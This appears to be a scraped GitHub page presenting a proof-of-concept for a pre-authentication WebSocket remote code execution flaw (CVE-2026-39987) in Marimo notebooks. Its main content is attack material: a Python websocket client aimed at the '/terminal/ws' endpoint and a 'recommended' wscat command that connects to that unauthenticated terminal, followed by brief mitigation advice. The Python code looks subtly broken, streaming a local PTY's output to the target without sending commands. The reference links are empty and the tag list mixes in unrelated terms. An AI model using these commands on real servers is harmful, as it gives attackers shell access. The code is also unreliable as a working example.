fevar54/marimo_CVE-2026-39987_RCE_PoC
GitHub: fevar54/marimo_CVE-2026-39987_RCE_PoC
针对 Marimo < 0.23.0 的预认证 WebSocket RCE 漏洞提供 PoC 脚本与利用方案。
Stars: 0 | Forks: 0
```python
import websocket
import os
import pty
import struct
import threading
import sys
```
```python
def on_message(ws, message):
print(message, end="")
def on_error(ws, error):
print(f"Error: {error}", file=sys.stderr)
def on_close(ws, close_status_code, close_msg):
print("Conexión cerrada")
def on_open(ws):
def run():
try:
pty_master, pty_slave = pty.openpty()
# Enviar paquetes de tamaño inicial
size_packet = struct.pack(">I", 0)
ws.send(size_packet)
while True:
# Leer salida del PTY
try:
data = os.read(pty_master, 1024)
if data:
size_packet = struct.pack(">I", len(data))
ws.send(size_packet + data)
except OSError:
break
except Exception as e:
print(f"Error PTY: {e}", file=sys.stderr)
ws.close()
thread = threading.Thread(target=run)
thread.start()
if __name__ == "__main__":
target = "ws://TARGET/terminal/ws"
ws = websocket.WebSocketApp(target,
on_message=on_message,
on_error=on_error,
on_close=on_close,
on_open=on_open)
ws.run_forever()
```
```python
# Alternativa: script bash usando wscat
# wscat -c ws://TARGET/terminal/ws
```
```python
# Alternativa: script Python con websocket-client
# pip install websocket-client
```
## 🛠️ Explotación con wscat (Recomendado)
```bash
# Instalación
npm install -g wscat
# Conexión
wscat -c ws://TARGET/terminal/ws
```
## 🛡️ Mitigación
- Actualizar a Marimo ≥ 0.23.0
- Implementar autenticación previa obligatoria para `/terminal/ws`
- Restringir acceso mediante firewall o WAF
- Monitorear conexiones WebSocket no autorizadas
## 🔗 Referencias
- [Marimo Release Notes]( )
- [CVE-2026-39987 Details]( )
- [WebSocket Protocol]( )
## ⚠️ Advertencia
Esta información se proporciona con fines educativos y de investigación. El uso indebido de esta vulnerabilidad puede ser ilegal. Los responsables son únicamente usted y quien la utilice.
标签:API安全, APT, C2日志可视化, CISA项目, CRITICAL, CVE-2026-39987, CVSS 9.3, dork, JSON输出, Marimo, PE 加载器, PoC, Pre-Auth, PTY, RCE, Reverse Shell, Shell, WebSocket, Web报告查看器, 交互式终端, 依赖分析, 命令执行, 威胁情报, 开发者工具, 指纹识别, 暴力破解, 服务端安全, 未认证, 权限绕过, 漏洞, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护